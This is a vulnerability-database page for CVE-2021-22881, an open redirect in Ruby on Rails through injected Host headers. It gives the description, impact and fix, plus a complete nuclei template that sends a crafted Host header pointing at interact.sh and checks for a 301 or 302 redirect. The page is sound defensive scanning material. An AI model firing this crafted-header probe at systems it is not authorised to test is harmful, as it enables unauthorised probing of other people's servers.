HexBrain

Browse / CVEs / CVE-2021-22881

CVE-2021-22881· CWE-601

Ruby on Rails - Open Redirect via Host Header Injection

mediumseverity
6.1CVSS score
87.3%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

Ruby on Rails action pack before 6.1.2.1, 6.0.3.5 contains an open redirect caused by special crafted Host headers in combination with allowed host formats, letting attackers redirect users to malicious websites, exploit requires attacker to control Host headers.

Impact

Attackers can redirect users to malicious sites, potentially leading to phishing or malware distribution.

Fix

Update to version 6.1.2.1, 6.0.3.5 or later versions.

How to confirm it

Send: GET /
Positive when: matches in header /(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh.*$/ AND status 302 or 301

Run it with nuclei: nuclei -id CVE-2021-22881 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2021-22881

info:
  name: Ruby on Rails - Open Redirect via Host Header Injection
  author: theamanrawat
  severity: medium
  description: |
    Ruby on Rails action pack before 6.1.2.1, 6.0.3.5 contains an open redirect caused by special crafted Host headers in combination with allowed host formats, letting attackers redirect users to malicious websites, exploit requires attacker to control Host headers.
  impact: |
    Attackers can redirect users to malicious sites, potentially leading to phishing or malware distribution.
  remediation: |
    Update to version 6.1.2.1, 6.0.3.5 or later versions.
  reference:
    - https://hackerone.com/reports/1047447
    - https://nvd.nist.gov/vuln/detail/CVE-2021-22881
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-22881
    epss-score: 0.87301
    epss-percentile: 0.99755
    cwe-id: CWE-601
  metadata:
    verified: false
    max-request: 1
  tags: cve,cve2021,ruby,rails,host-header,redirect,vuln

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: interact.sh#{{randstr}}.{{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh.*$'

      - type: status
        condition: or
        status:
          - 302
          - 301

References

Use this check only on systems you are authorised to test. Where the data comes from